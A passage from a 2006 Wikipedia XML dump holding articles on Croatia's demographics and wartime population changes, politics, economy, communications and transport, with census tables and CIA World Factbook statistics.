&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Turkish people|Turks]]'''&lt;/td&gt;&lt;td&gt;300&lt;/td&gt;&lt;td&gt;0,01&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Ukrainians]]'''&lt;/td&gt;&lt;td&gt;1.977&lt;/td&gt;&lt;td&gt;0,04&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Vlachs]]'''&lt;/td&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;0,00&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Others'''&lt;sup&gt;1&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;21.801&lt;/td&gt;&lt;td&gt;0,49&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Refrained from stating'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''their nationality'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''Total'''&lt;/td&gt;&lt;td&gt;89.130&lt;/td&gt;&lt;td&gt;2,01&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''stated regional'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''affiliation'''&lt;/td&gt;&lt;td&gt;9.302&lt;/td&gt;&lt;td&gt;0,21&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Unknown'''&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;17.975&lt;/td&gt;&lt;td&gt;0,41&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;small&gt;&lt;sup&gt;1&lt;/sup&gt; This mode includes, among others, [[Yugoslavians]] and [[Muslims]].&lt;/small&gt;


== Changes in the late 20th century ==
The census of [[1991]] was the last one held before the war in Croatia, marked by ethnic conflict between the Orthodox Serbs and the Catholic Croats. In the ethnic and religious composition of population of Croatia of that time, those two sets of numbers are quoted as important:
* Croats 78.1%, Catholics 76.5%
* Serbs 12.2%, Orthodox Christians 11.1%

After the end of the war of the [[1990s]] and everything else that it entailed, the numbers are:
* Croats 89.6%, Catholics 87.8%
* Serbs 4.5%, Orthodox Christians 4.4%

The population change is seen by some as a campaign of [[ethnic cleansing]] between 1990 and 1995. In earlier stages of the war, most of the Croats of eastern Slavonia, Baranja, Banija, Kordun, eastern Lika, northern Dalmatian Zagora and Konavle fled those areas as they were under Serbian military control. Conversely, most of the Serbs from Bilogora and northwestern Slavonia fled those areas as they were under Croatian military control. In later stages of the war, most of the Serbs of western Slavonia, Banija, Kordun, eastern Lika and northern Dalmatian Zagora fled those areas as they came under Croatian military control.

There were several incidents of what can be pretty clearly explained as ethnic cleansing: the attacks on and the subsequent expulsion of population from the villages and towns of [[Skabrnja|Škabrnja]], [[Kijevo, Croatia|Kijevo]], [[Vukovar]], [[Medak]]. Although widely assumed to be a war in which ethnic cleansing was generally used, no international institution has yet established a clear pattern that would indicate that either side in the war in Croatia committed ethnic cleansing on the scale of the whole country, including the [[International Criminal Tribunal for the Former Yugoslavia]] at [[The Hague]]. However, the leader of the rebel Serbs [[Milan Babic|Milan Babić]] was indicted, plead guilty and was convicted for ''persecutions on political, racial and religious grounds, a crime against humanity'', which combined with the content of his indictment implies that there was ethnic cleansing on the whole area of [[RSK|Krajina]].

The war ended with military victories of the Croatian government in [[1995]] and subsequent peaceful reintegration of the remaining renegade territory in eastern Slavonia in [[1998]]. The exodus of the Krajina Serbs in 1995 was prompted by the advance of the Croatian troops, but it was still mostly self-organized rather than forced. All of them have been officially called upon to stay shortly before the operation, and called to return after the end of the hostilities, with varying but increasing degrees of guarantees from the Croatian government. All persons that participated in the rebellion but committed no crimes were pardoned by the government in [[1997]].

Most Croat refugees returned to their homes, while two thirds of the Serbs remain in exile; the other third either returned or had remained in Zagreb and other parts of Croatia not directly hit by war.

The current reasons why many Serb refugees still have not returned vary: for non-civilians, it is fear of prosecution for war crimes (Croatian legal system, like the ICTY, has secret lists of war crimes suspects) and fear of retaliation; for civilians, it is unfavourable property laws, ethnic discrimination by local authorities, and last but not the least, appalling economic conditions in the rural areas they inhabited.

In 2004/2005, the government of [[Serbia]] still had around 140,000 refugees from Croatia registered on its territory, while around 13,000 housing reparation demands had been pending with the Croatian authorities. 

The property laws, in particular, favor Croats who immigrated into the previously predominantly Serb-inhabited areas after having been forced out of Bosnia and Herzegovina by the Serbs. Under the current law, a person who occupies someone else's previously vacated house and does not have alternative accommodation (such as their own home or a place in a refugee camp), is allowed to stay in someone else's [[private property]] as a refugee, without being charged for squatting. The number of such individuals and families has dropped significantly in the 2000s, and a certain amount of property was returned to its previous owners. However, at the same time not all of the former refugees actually left the same houses, and instead remained in the occupied houses illegally. In 2004, the authorities noted around 1,400 houses still occupied by former refugees. The courts and the police are generally hesitant to evict these to avoid public protest of the Croat majority, causing much disagreement between the Croat and Serb communities in these locations.

The Croatian government denies any ethnic cleaning on a large scale as is claimed by some of the Serbs, and has consistently worked with the international community and the local Serb representatives to rectify the war-related problems, though cooperation on the lower levels has been lacking. The participation of the largest Serbian party [[Independent Democratic Serbian Party|SDSS]] in the [[Croatian Government]] of [[Ivo Sanader]] has eased tensions to an extent, but the refugee situation is still politically sensitive.

Slow refugee return and slow prosecution of Croatian army personnel implicated in war crimes are some of the main obstacles to Croatia's application to the [[European Union]].

==See also==
* [[Croatia]]
* [[History of Croatia]]
* [[History of Yugoslavia]]

==References==
{{CIA WFB 2005}}
*[http://www.dzs.hr/default.htm Croatian Institute for Statistics]

==External links==

* [http://www.dzs.hr/Eng/Census/census2001.htm Croatian Bureau of Statistics, Census 2001]
* [http://www.hrw.org/reports/2003/croatia0903/ Human Rights Watch Report &quot;Broken Promises: Impediments to Refugee Return to Croatia&quot;]
* [http://unstats.un.org/unsd/mi/mi_results.asp?crID=191&amp;fID=r15 United Nations Statistics Division Millennium Indicators for Croatia]
* [http://www.vojska.net/military/croatia/about/population.asp Population of Croatia 1931-2001]

[[Category:Geography of Croatia]]
[[Category:Croatian society]]
[[Category:Demographics by country|Croatia]]

[[hr:Stanovništvo Hrvatske]]
[[pt:demografia da Croácia]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Croatia</title>
    <id>5577</id>
    <revision>
      <id>40628384</id>
      <timestamp>2006-02-21T22:56:06Z</timestamp>
      <contributor>
        <username>Raoul DMR</username>
        <id>353009</id>
      </contributor>
      <comment>/* Executive branch */  DC is in opposition now</comment>
      <text xml:space="preserve">{{Politics of Croatia}}
The Republic of [[Croatia]] ([[Croatian language|Croatian]]: ''Republika Hrvatska'') is a parliamentary democracy with an elected president. It adopted its current constitution on [[December 22]], [[1990]], and declared independence from [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] on [[June 25]], [[1991]].

Amendments to the [[Constitution of Croatia|Constitution]] have happened four times:
* [[December 15]], [[1997]] -- additional [[minority]] rights and verbiage changes
* [[September 11]], [[2000]] -- changed from a [[semi-presidential system|semi-presidential]] to a [[parliamentary system]]; the parliament was renamed its historic name of ''Hrvatski sabor''
* [[March 28]], [[2001]] -- Chamber of Counties abolished, the Parliament becomes [[unicameral]]
* [[June 15]] [[2001]] -- administrivia



== Executive branch ==

{{office-table}}
|[[Presidents of Croatia|President]]
|[[Stjepan Mesić]]
|[[Croatian People's Party|HNS]]
|[[18 February]] [[2000]]
|-
|[[List of Prime Ministers of Croatia|Prime Minister]]
|[[Ivo Sanader]]
|[[Croatian Democratic Community|HDZ]]
|[[23 December]] [[2003]]
|-
|Other government parties
|
|[[Croatian Social Liberal Party|HSLS]], [[Croatian Pensioners' Party|HSU]], [[Independent Democratic Serbian Party|SDSS]]
|}

The main executive power of Croatian state is the [[government]] (in Croatian: &quot;vlada&quot;), presided by the [[Prime Minister]]. The government ministers (the cabinet) are appointed by the prime minister with the consent of the [[Parliament]]. The prime minister is the head of government, appointed by the President with the consent of the Parliament who takes his duty when Parliament gives its consent by absolute majority of all representatives.

See http://www.vlada.hr/

'''Current government:'''
[[Prime Minister of Croatia|Prime Minister]]: [[Ivo Sanader]] (since [[December 23]] [[2003]]);
&lt;br&gt;
Deputy Prime Ministers: Jadranka Kosor (since [[December 23]] [[2003]]), Damir Polančec (since February 2005).
&lt;br&gt;
Government ministers are from [[Croatian Democratic Union]] (HDZ) except from one minister from [[Democratic Centre]] (DC).

The [[Presidents of Croatia|President of the Republic of Croatia]] is the head of state and is elected by popular vote for a five-year term. A president may not serve more than two terms. The president has limited executive powers, he is still commander-of-chief of the armed forces, he cooperates in formulation and execution of the foreign policy and the national security policy, represents Croatia home and abroad, convenes Parliament and can bring issues at Government. Main and the most essential duty of the President is that he is granted power to issue decrees with the force of law during war time.

See http://www.predsjednik.hr/

==Legislative Branch==

The Croatian legislature is the ''[[Croatian Parliament|Hrvatski Sabor]]''.
The [[Croatian Parliament|Assembly]] is unicameral, between 100 and 160 members, exact number was decided by the legislature -  elected for a four year term, 140 members in multi-seat [[constituency|constituencies]], up to 6 members chosen by [[proportional representation]] to represent Croatians residing abroad and 5 members of ethnic and national communities or minorities.

The Chamber of Counties or ''Županijski Dom'' used to be composed of three deputies from each of the 21 counties (''županije''). However, as it had no practical power over the Chamber of Representatives, in 2001, the Chamber was abolished and whatever powers it had were transferred directly to the county governments.

The Sabor meets in public sessions in two periods: [[January 15]] to [[June 30]], and [[September 15]] to [[December 15]]. Extra sessions can be called by the President of the Republic, by the President of the Parliament or by Government. The powers of the legislature include enactment and amendment of the constitution; passage of laws; adoption of the state budget; declarations of war and peace; alteration of the boundaries of the Republic; calling referenda; carrying out elections, appointments, and relief of office; supervising the work of the Government of Croatia and other holders of public powers responsible to the Sabor; and granting amnesty.

Decisions are made based on a majority vote if more than half of the Chamber is present, except in cases of national rights and constitutional issues.

See http://www.sabor.hr/

The last parliamentary elections were held [[November 23]] [[2003]].

==Political parties and elections==
{{elect|List of political parties in Croatia|Elections in Croatia}}
{{Croatian presidential election, 2005}}
Main article: [[Croatian presidential election, 2005]]
{{Croatian parliamentary election, 2003}}
Main article: [[Croatian parliamentary election, 2003]]

==Judiciary branch==

The [[Croatian Supreme Court|Supreme Court]] (''Vrhovni sud'') of the Republic of Croatia is the highest court. Court hearings are open, and judgments are made publicly, except in issues of privacy of the accused. Judges are appointed by the National Judicial Council and judicial office is permanent (until seventy years of age). President of the Supreme Court is elected on 4-year term by the Croatian Parliament at the proposal of the President of the Republic.

See http://www.vsrh.hr/

The [[Croatian Constitutional Court|Constitutional Court]]  (''Ustavni sud'') of the Republic of Croatia decides on the constitutionality of laws and has the right to repeal a law it finds unconstitutional. It also can impeach the president. The body is made up of thirteen judges on 8-year term. The president of the Constitutional Court is elected by the court for a 4-year term.

See http://www.usud.hr/

The [[Croatian National Judicial Council|National Judicial Council]] (''Državno Sudbeno Vijeće'') of the Republic appoints all judges. It is a body consisting of a president and fourteen members proposed and elected by the Parliament for 4-year terms, maximum two terms.

== Regional government ==
{{wikinewspar|Results of 2005 Croatian local government elections}}
The country is composed of 20 counties (županijas) and one city (grad, [[Zagreb]]). The counties and county centers are:

# [[Zagrebacka zupanija|Zagrebačka]], Zagreb
# [[Krapinsko-zagorska zupanija|Krapinsko-zagorska]], Krapina
# [[Sisacko-moslavacka zupanija|Sisačko-moslavačka]], Sisak
# [[Karlovacka zupanija|Karlovačka]], Karlovac
# [[Varazdinska zupanija|Varaždinska]], Varaždin
# [[Koprivnicko-krizevacka zupanija|Koprivničko-križevačka]], Koprivnica
# [[Bjelovarsko-bilogorska zupanija|Bjelovarsko-bilogorska]], Bjelovar
# [[Primorsko-goranska zupanija|Primorsko-goranska]], Rijeka
# [[Licko-senjska zupanija|Ličko-senjska]], Gospić
# [[Viroviticko-podravska zupanija|Virovitičko-podravska]], Virovitica
# [[Pozesko-slavonska zupanija|Požeško-slavonska]], Požega
# [[Brodsko-posavska zupanija|Brodsko-posavska]], Slavonski Brod
# [[Zadarska zupanija|Zadarska]], Zadar
# [[Osjecko-baranjska zupanija|Osječko-baranjska]], Osijek
# [[Sibensko-kninska zupanija|Šibensko-kninska]], Šibenik
# [[Vukovarsko-srijemska zupanija|Vukovarsko-srijemska]], Vukovar
# [[Splitsko-dalmatinska zupanija|Splitsko-dalmatinska]], Split
# [[Istarska zupanija|Istarska]], Pazin
# [[Dubrovacko-neretvanska zupanija|Dubrovačko-neretvanska]], Dubrovnik
# [[Medjimurska zupanija|Međimurska]], Čakovec
# [[Zagreb|Grad Zagreb]]

Counties are regional self-government units that carry out the affairs of regional significance, and in particular the affairs related to education, health service, area and urban planning, economic development, traffic and traffic infrastructure and the development of network of educational, health, social and cultural institutions. 

In practice, this autonomy is very limited since counties must obbey national laws and executive orders from the national level.

Municipalities and towns are local self-government units that carry out the affairs of local jurisdiction by which the needs of citizens are directly fulfilled, and in particular the affairs related to the organization of localities and housing, area and urban planning, public utilities, child care, social welfare, primary health services, education and elementary schools, culture, physical education and sports, customer protection, protection and improvement of the environment, fire protection and civil defense.

== Short political history ==

The [[Croatian Communist Party]] was the only party during [[Socialist Federal Republic of Yugoslavia|socialist Yugoslavia]], 1945-1990. The change of the name to League of Communists of Croatia (''Savez Komunista Hrvatske'', SKH) in the fifties was intended to emphasize the advisory role of the party, while actual power was supposed to be in hands of the working class. There were very few controversies and factional clashes in the SKH. Among the most important was the so called &quot;[[Croatian Spring]]&quot; in 1971 when some leaders of the SKH, most notably [[Savka Dabčević-Kučar]] and [[Miko Tripalo]] attempted to increase the political and economical independence of Croatia from other Yugoslav republics. Although &quot;Croatian Spring&quot; was broken, the leaders lost their political position and were forced into isolation, and less important leaders were persecuted, practically all the intentions of the mentioned national leaders were accepted and introduced in Yugoslavian constitution from 1974. 

That constitution was relatively unfortunate in a sense that it did not delimit the responsibilities of the republics and federation in Yugoslavia clearly. As a result, when League of Communists lost its unity and authority, and republics started to make opposite, even aggressive political movements, the central government of Yugoslavia was unable to act. As a result, neither a peaceful break up, nor a military putsch was possible in the time of crisis, and country ended in bloody, tragic war.

In the situation where Serb leaders, especially members of the [[Serbian Academy of Sciences and Arts]] and Serbian president [[Slobodan Milošević]] started to threaten Croatia and prepare for a war, the first multi-party elections took place in 1990. The League of Communists changed its policy and name to the &quot;Party of Democratic Changes&quot; (SDP), however, the impression of the people was that this party could not respond to Milošević's threats adequately. The right-wing was represented by the [[Croatian Democratic Union]] (HDZ), led by the communist general, later Croatian nationalist and dissident [[Franjo Tuđman]]. 

Third bloc at the elections was Coalition of People's Accord, alliance of mostly moderate nationalist parties that included [[Croatian Social Liberal Party]] (HSLS), [[Social Democrats of Croatia]] (SDSH), [[Croatian Democratic Party]] (HDS), as well as many prominent veterans of Croatian Spring. Due to [[voting system]] that favoured two strong parties, coalition got surprisingly few seats during that election, and HDZ won easily.

However, increased crime in all parts of the society and a growing personal cult of Franjo Tuđman caused revival of the popularity of the at one moment almost dead ex-communist party. Vujić's SDSH united with SDP. HSLS split into two parties, led by their charismatic leaders: [[Vlado Gotovac]]'s [[Liberal Party (Croatia)|Liberal Party]], and the more nationalist [[Dražen Budiša]] won administrative control over HSLS. In following years, these two leaders, especially Budisa led inconsistent policy which resulted in a significant drop in support for the once third most important party in Croatia. D. Budisa even left the party at one point, but he was persuaded to return.

For the 2000 elections, the [[Social Democratic Party of Croatia]] (SDP) and the [[Croatian Social Liberal Party]] (HSLS) agreed on a join electoral list as did the [[Croatian Peasants Party]] (HSS), [[Croatian People's Party]] (HNS), [[Liberal Party of Croatia]] (LS), and [[Istrian Democratic Assembly]] (IDS). Although these six parties went into the election under two separate lists they had negotiated an outline agreement for a coalition before the election and were known as the &quot;šestorica&quot; or &quot;the six&quot;.

The six-party center-left coalition was in power until June 2001 when IDS left the governing coalition over its inability to win greater autonomy for Istria.

HSLS split (again; the initial splitoff formed LS) in 2002; the main faction left the government while a dissenting faction formed LIBRA and stayed in power.

The SDP-led coalition remained in power until the [[Croatian parliamentary election, 2003|legislative elections of 2003]], when they narrowly lost the majority to HDZ and other center-right parties.

HDZ formed a government in December 2003, even though they haven't formed a major coalition with parties like HSS and [[Croatian Party of Rights|HSP]]. It appears, however, that the new HDZ, under the leadership of I. Sanader, is positioned significantly more on the center than early HDZ was. 

Accession to membership of the [[European Union]] is presently a stated national goal for most mainstream parties, although they vary in the amount of cooperation with the EU rules. The main issues remain in the areas of post-war recovery: both political (refugee return, war crime trials) and economic (agricultural import/export policy). 

One of the more recent trends in Croatian politics is deep alienation of Croatian public from Croatian political establishment. It manifested itself on the latest presidential and local elections through record low turnouts and support for candidates and options that represented alternative to Croatian political mainstream. 

One of the stated reasons for such alienation is in mainstream political parties being oriented towards centre and having almost identical platforms. Another is parties being heavily centralised and  perceived more as representatives of their leaders' personal interests than any palpable political platform. [[Proportional representation]] voting system which leads to coalition governments that often don't make any political sense - a phenomenon which gained a lot of notoriety after 2005 local elections - also contributed to those trends. Croatian public appears to prefer strong personalities with populist tendencies - like [[Boris Mikšić]], [[Milan Bandić]] and [[Branimir Glavaš]] - to well-established parties or any particular ideology.

The alienation from Croatian political mainstream has also manifested itself in the dramatic rise of [[Euroscepticism]] among general public.

== See also ==

* [[List of political parties in Croatia]]
* [[Foreign relations of Croatia]]
* [[Military of Croatia]]
 
[[Category:Politics of Croatia| ]]

[[hr:Politika Hrvatske]]
[[pl:Ustrój polityczny Chorwacji]]
[[pt:Política da Croácia]]
[[nl:Politiek en overheid van Kroatië]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Croatia</title>
    <id>5578</id>
    <revision>
      <id>40856143</id>
      <timestamp>2006-02-23T13:16:54Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced. Wikify dates</comment>
      <text xml:space="preserve">__FORCETOC__
==History==

In an [[economics|economy]] traditionally based on agriculture and livestock, peasants comprised more than half of the [[Croatia]]n population until after [[World War II]].  Pre-1945 industrialization was slow and centered on textile mills, sawmills, brickyards, and food-processing plants.

Rapid [[industrialization]] and diversification occurred after World War II. [[Decentralization]] came in 1965, allowing growth of certain sectors, like the [[tourism|tourist industry]].  Profits from Croatian industry were used to develop poorer regions in the former Yugoslavia.  This, coupled with [[austerity program]]s and [[hyperinflation]] in the 1980s, led to discontent in both Croatia and Slovenia that fueled the independence movement.

Before the dissolution of [[Socialist Federal Republic of Yugoslavia|Yugoslavia]], the Republic of Croatia, after [[Slovenia]], was the most prosperous and industrialized area, with a per capita output perhaps one-third above the Yugoslav average. Privatization under the new Croatian Government had barely begun when war broke out. As a result of the Croatian war of independence, the economic infrastructure sustained massive damage in the period 1991-92.

By the end of the [[1990s]], Croatia faced considerable economic problems stemming from:
* the legacy of longtime communist mismanagement of the economy;
* damage during the internecine fighting to bridges, factories, power lines, buildings, and houses;
* the large refugee and displaced population, both Croatian and Bosnian
* the disruption of economic ties; and
* mishandled privatization

Inflation and unemployment rose and the [[kuna (currency)|kuna]] fell, prompting the national bank to tighten [[fiscal policy]].  A new banking law passed in December 1998 gave the central bank more control over Croatia's 53 remaining commercial banks. Croatia is dependent on international debt to finance the deficit.  A recently issued [[Euro]]-denominated bond was well received, selling $300 million, which helped offset economic losses from the Kosovo crisis.

Despite the successful value-added tax program, planned privatization of state controlled businesses, and a revised budget with a 7% across that board cut in spending, the government still projected a $200 million deficit for 1999.  

Western aid and investment, especially in the tourist and oil industries, is helping restore the economy.  The government has been successful in some reform efforts  &amp;mdash; partially macroeconomic stabilization policies &amp;mdash; and it has normalized relations with its creditors.

The [[recession]] that began at the end of [[1998]] continued through most of [[1999]], and GDP in 1999 was flat.  [[Inflation]] remained in check and the kuna was stable.  However, consumer demand was weak and industrial production decreased. Structural reform lagged and problems of payment arrears and a lack of banking supervision continued.

Due to the upcoming elections, the HDZ government promised two salary increases to public-sector employees before the end of the year which increased the fiscal deficit.

The death of President [[Franjo Tuđman|Tuđman]] in December 1999, and the defeat of his ruling Coatian Democratic Union or HDZ party in parliamentary and presidential elections in January 2000 ushered in a new government committed to economic reform and halting the economic decline.

The [[Ivica Račan|Račan]] government carried out a large number of structural reforms and with tourism as the main factor, the country emerged from recession in 2000.  Due to overall increase in stability, the economic rating of the country improved and [[interest rate]]s dropped.  As a result of [[coalition]] politics and resistance from the unions and the public, many reforms are still overdue, especially in the legal system.

Unemployment reached a peak of circa 22% in late [[2002]] due to many overdue bankruptcies.  It has since been steadily decreasing, powered by growing industrial production and rising [[Gross domestic product|GDP]] rather than only seasonal changes (tourism). The GDP rose to the level it had in 1990 only [[2003]].

Most economic indicators remained positive in this period, except for the external [[debt]]. The [[Croatian National Bank]] had to take steps to curb further growth of indebtedness of local banks with foreign banks (commonly the same foreign banks that own the local ones).  The dollar debt figure is quite adversely affected by the [[Euro|EUR]]/[[USD]] ratio &amp;mdash; over a third of the increase in debt since 2002 is due to currency value changes.

Any negative trends in the large EU economies such as [[Economy of Germany|Germany]] or [[Economy of Italy|Italy]] also have a negative impact on Croatia as they are its biggest trade partners.

The country has applied for membership in the [[European Union]].  During the accession, it is expected that agricultural policy will be the biggest stumbling block, as with other recent applicant countries.

By early [[2005]], the foreign debt of the Government declined in growth, and was surpassed in size by the foreign debt of the banking sector, prompting further interventions by the [[Croatian National Bank|national bank]].

==Economic indicators==
''From the [[CIA World Factbook]] 2005.''

'''[[Gross domestic product|GDP]]:'''
purchasing power parity - $50.33 billion (2004 est.)

'''GDP - real growth rate:'''
3.7% (2004 est.)

'''GDP - per capita:'''
purchasing power parity - $11,200 (2004 est.)

'''GDP - composition by sector:'''
&lt;br /&gt;''agriculture:''
8.2%
&lt;br /&gt;''industry:''
30.1%
&lt;br /&gt;''services:''
61.7% (2004 est.)

'''Labor force:'''
1.71 million (2004 est.)

'''Labor force - by occupation:'''
agriculture 2.7%, industry 32.8%, services 64.5% (2004)

'''Unemployment rate:'''
13.8% (2004 est.)

'''Population below poverty line:'''
&lt;br /&gt;''national absolute:''
11%
&lt;br /&gt;''internationally comparable:''
4.8%
(2003 est.)

'''Household income or consumption by percentage share:'''
&lt;br /&gt;''lowest 10%:''
3.4%
&lt;br /&gt;''highest 10%:''
24.5%
(2003 est.)

'''Distribution of family income - [[Gini index]]:'''
29 (1998)

'''Inflation rate (consumer prices):'''
2.5% (2004 est.)

'''Investment (gross fixed):'''
28.6% of GDP (2004 est.)

'''Budget:'''
&lt;br /&gt;''revenues:''
$14.14 billion
&lt;br /&gt;''expenditures:''
$15.65 billion, including capital expenditures of $NA (2004 est.)

'''Public debt:'''
41.7% of GDP (2004 est.)

'''Agriculture - products:'''
[[wheat]], [[maize|corn]], [[sugar beet]]s, [[sunflower]] seed, [[barley]], [[alfalfa]], [[clover]], [[olive]]s, [[citrus]], [[grape]]s, [[soybean]]s, [[potato]]es; [[livestock]], [[dairy products]]

'''Industries:'''
[[chemical industry|chemical]]s and [[plastic]]s, machine tools, fabricated [[metal]], electronics, [[pig iron]] and rolled [[steel]] products, [[aluminium]], [[paper]], [[wood]] products, construction materials, [[textiles]], shipbuilding, [[petroleum]] and petroleum refining, [[food]] and beverages; [[tourism]]

'''Industrial production growth rate:'''
2.7% (2004 est.)

'''Electricity - production:'''
12.51 GWh (2002)

'''Electricity - production by source:'''
&lt;br /&gt;''fossil fuel:''
33.6%
&lt;br /&gt;''hydro:''
66%
&lt;br /&gt;''nuclear:''
0%
&lt;br /&gt;''other:''
0.4% (2001)

'''Electricity - consumption:'''
15.2 GWh (2002)

'''Electricity - exports:'''
406 GWh (2002)

'''Electricity - imports:'''
3,966 GWh (2002)

'''Oil - production:'''
21,000 barrel/day (3,338 m³/d) (2004 est.)

'''Oil - consumption:'''
89,000 barrel/day (14,000 m³/d) (2001 est.)

'''Oil - proved reserves:'''
93.6 million barrel (14,900,000 m³) ([[1 January]] [[2002]])

'''Natural gas - production:'''
1.76 km³ (2001 est.)

'''Natural gas - consumption:'''
2.84 km³ (2001 est.)

'''Natural gas - exports:'''
0 m³ (2001 est.)

'''Natural gas - imports:'''
1.08 km³ (2001 est.)

'''Natural gas - proved reserves:'''
34.36 km³ (January 2002 est.)

'''Current account balance:'''
$-1.925 billion (2004 est.)

'''Exports:'''
$7.845 billion f.o.b. (2004 est.)

'''Exports - commodities:'''
transport equipment, [[textiles]], [[chemicals]], foodstuffs, fuels

'''Exports - partners:'''
[[Italy]] 23.1%,
[[Bosnia and Herzegovina]] 14.7%,
[[Germany]] 11.5%,
[[Austria]] 9.6%,
[[Slovenia]] 7.7%,
(2004)

'''Imports:'''
$16.7 billion f.o.b. (2004 est.)

'''Imports - commodities:'''
machinery, transport and electrical equipment, chemicals, fuels and lubricants, foodstuffs

'''Imports - partners:'''
Italy 17.3%,
Germany 15.7%,
Slovenia 7.1%,
Austria 7.1%,
[[Russia]] 7%
[[France]] 4.3%,
(2004)

'''Reserves of foreign exchange and gold:'''
$8.563 billion (2004 est.)

'''Debt - external:'''
$26.4 billion (2004 est.)

'''Economic aid - recipient:'''
ODA $166.5 million (2002)

'''Currency:'''
[[Croatian kuna|kuna]] (HRK)

'''Exchange rates:'''
kuna per US$1 - 
6.0358 (2004),
6.7035 (2003),
7.8687 (2002),
8.34 (2001),
8.2766 (2000),
7.112 (1999),
6.362 (1998),
6.157 (1997),
5.434 (1996),
5.230 (1995)

'''Fiscal year:'''
calendar year

==See also==
* [[Economy of Europe]]
* [[Croatia]]
* [[Croatian brands]]

{{WTO}}

[[Category:WTO members|Croatia]]
[[Category:Economy of Croatia| ]]
[[Category:Economies by country|Croatia]]

[[pt:Economia da Croácia]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Croatia</title>
    <id>5579</id>
    <revision>
      <id>41573466</id>
      <timestamp>2006-02-28T06:00:46Z</timestamp>
      <contributor>
        <ip>83.131.227.160</ip>
      </contributor>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
1.750 million (1.600.000 POTS,150.000 ISDN) (2005)

'''Telephones - mobile cellular:'''
2.5 million (2005)

'''ADSL lines:'''
100.000 (2005)

Mobile operators:
* [[T-Mobile]] Croatia (prefixes +38598,+38599;900MHz only)
* VIPnet (prefix +38591;900MHz only)
* [[Tele2]], due to activate its network by fall 2005 (prefix +38595;900MHz only)
* A fourth mobile license is being offered in 2006

'''Telephone system (fixed line; as of 2000):'''
* ''domestic:''
** reconstruction plan calls for replacement of all analog circuits with digital and enlarging the network
** a backup will be included in the plan for the main trunk
** main operator: [[T-Hrvatski telekom]]
** other operators: Optima Telekom, Portus Telekom (H-1)
* ''international:''
** country code - +385
** digital international service is provided through the main switch in [[Zagreb]]
** Croatia participates in the [[TEL project|Trans-Asia-Europe (TEL) fiber-optic project]], which consists of two [[fiber-optic]] trunk connections with [[Slovenia]] and a fiber-optic trunk line from [[Rijeka]] to [[Split]] and [[Dubrovnik]]
** Croatia is also investing in [[ADRIA 1]], a joint fiber-optic project with [[Germany]], [[Albania]], and [[Greece]]

'''[[Radio]] broadcast stations:'''
AM 16, FM 98, shortwave 5 (1999)

'''Radios:'''
1.51 million (1997)

'''[[Television]] broadcast stations:'''
36 (plus 321 repeaters) (September 1995)

'''Televisions:'''
1.22 million (1997)

'''[[Country codes|Country code]]:''' HR
&lt;br /&gt;
'''Internet top-level domain:''' .hr

'''[[Internet Service Provider]]s (ISPs):'''
12 (2004)

'''Internet hosts:'''
29,644 (2004)

'''[[Internet]] users:'''
1.2 million (2004)

==See also==
* [[Croatia]]

[[Category:Communications in Croatia| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Croatia</title>
    <id>5580</id>
    <revision>
      <id>39590474</id>
      <timestamp>2006-02-14T14:25:16Z</timestamp>
      <contributor>
        <ip>83.131.15.168</ip>
      </contributor>
      <text xml:space="preserve">==Airports==

There are international [[airport]]s in [[Zagreb]],[[Zadar]],[[Split]], [[Dubrovnik]] and [[Rijeka]] (on the island of [[Krk]]). Recently, [[Osijek]] airport in [[Slavonia]] has been renovated for regional traffic. It is also being considered to revitalize [[Pula]] airport ([[Istria]]) as a destination for low cost airlines. Currently, the following low cost airlines are flying to Croatia: [[Germanwings]], [[Hapag-Lloyd Express]] (HLX) and [[SkyEurope]]. Major established companies that fly to Croatia are the domestic [[Croatia Airlines]] (now a regional member of the [[Star Alliance]]), [[Lufthansa]] and [[British Airways]]. In the near future, an intercontinental link between Zagreb and North America will be reintroduced. 

'''Statistics:'''

Overall: 68 airports (2004 est.)

Airports with paved [[runway]]s (2004 est.):
* total: 23
* 10,000 ft (3,047 m) or more: 2
* 8,000 to 9,999 ft (2,438 to 3,047 m): 6
* 5,000 to 7,999 ft (1,524 to 2,437 m): 2
* 3,000 to 4,999 ft (914 to 1,523 m): 4 
* under 3,000 ft (914 m): 9

Airports with unpaved runways (2004 est.):
* total: 45
* 5,000 to 7,999 ft (1,524 to 2,437 m): 1
* 3,000 to 4,999 ft (914 to 1,523 m): 7 
* under 3,000 ft (914 m): 37

[[Heliport]]s: 1 (2002)

== Rail transport ==

There are several major [[railway]] routes in the country:
* from Zagreb to [[Vinkovci]] (and on to [[Belgrade]], [[Serbia]])
* from Zagreb to [[Osijek]] via [[Koprivnica]]
* from Zagreb to [[Rijeka]]
* from Zagreb to [[Split]]
There are also other routes to [[Slovenia]], [[Hungary]], [[Bosnia and Herzegovina]] and [[Serbia]].

